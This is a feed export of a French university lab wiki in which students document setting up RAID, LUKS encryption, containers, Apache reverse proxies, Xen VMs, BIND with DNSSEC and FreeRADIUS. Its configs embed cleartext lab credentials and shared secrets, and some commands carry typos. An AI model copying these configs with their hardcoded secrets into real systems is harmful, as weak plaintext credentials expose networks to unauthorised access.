Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier : &lt;br /&gt;
  mount /dev/md127 /mnt&lt;br /&gt;
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Raidhercule.png|600px]]&lt;br /&gt;
&lt;br /&gt;
===6.2 Cryptage de données===&lt;br /&gt;
&lt;br /&gt;
Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v&lt;br /&gt;
&lt;br /&gt;
Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.&lt;br /&gt;
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1&lt;br /&gt;
&lt;br /&gt;
Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.&lt;br /&gt;
&lt;br /&gt;
Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/xvdd1 home&lt;br /&gt;
&lt;br /&gt;
Nous la formatons en ext4 :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs -t ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Enfin, nous montons la partition sous /mnt :&lt;br /&gt;
&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/home /mnt&lt;br /&gt;
&lt;br /&gt;
Nous y créons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.&lt;/div&gt;</summary>
		<author><name>Mcreteur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49130</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=49130"/>
				<updated>2018-12-21T18:03:34Z</updated>
		
		<summary type="html">&lt;p&gt;Mcreteur : /* 4.Services internet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1200px]]&lt;br /&gt;
&lt;br /&gt;
== 2.Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
==4.Services internet==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===4.2 Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 @      IN      A       193.48.57.183&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
===4.4 DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :&lt;br /&gt;
   dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
Création de la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
 :&lt;br /&gt;
Création de  la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space&lt;br /&gt;
&lt;br /&gt;
On renomme ces clef : &lt;br /&gt;
  hercule.space-ksk.key&lt;br /&gt;
  hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Puis on les inclus dans le fichier /etc/bind/db.hercule.space&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key&lt;br /&gt;
  $include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrements de la zone :&lt;br /&gt;
  dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
  file &amp;quot;/etc/bind/db.hercule.space.signed&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.&lt;br /&gt;
&lt;br /&gt;
===4.3 Serveur Apache===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hercule.space.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 Redirect / https://www.hercule.space&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
On active enfin le module SSL, notre site, et on redémarre le service apache :&lt;br /&gt;
  a2enmod ssl&lt;br /&gt;
  a2ensite hercule.space.conf&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Serveur Freeradius===&lt;br /&gt;
&lt;br /&gt;
Installation de Freeradius sur la vm :&lt;br /&gt;
  apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute : &lt;br /&gt;
  hercule Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers : &lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
  default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
- /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
  use_mppe = yes&lt;br /&gt;
  require_encryption = yes&lt;br /&gt;
  require_strong = yes&lt;br /&gt;
  with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :&lt;br /&gt;
  client 192.168.0.10/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  client 192.168.0.11/32 &lt;br /&gt;
  {&lt;br /&gt;
   secret = secretIMA5SC&lt;br /&gt;
   shortname = borneDivinite&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On met à jour la configuration : &lt;br /&gt;
  ldconfig&lt;br /&gt;
&lt;br /&gt;
Et enfin, nous lançons le service freeradius :&lt;br /&gt;
  $ service freeradius restart&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :&lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 aaa authentication login eap_group17 group radius_group17&lt;br /&gt;
 aaa group server radius radius_group17&lt;br /&gt;
 server 193.48.57.183 auth-port 1812 acct-port 1813&lt;br /&gt;
 radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 dot11 ssid Hercule&lt;br /&gt;
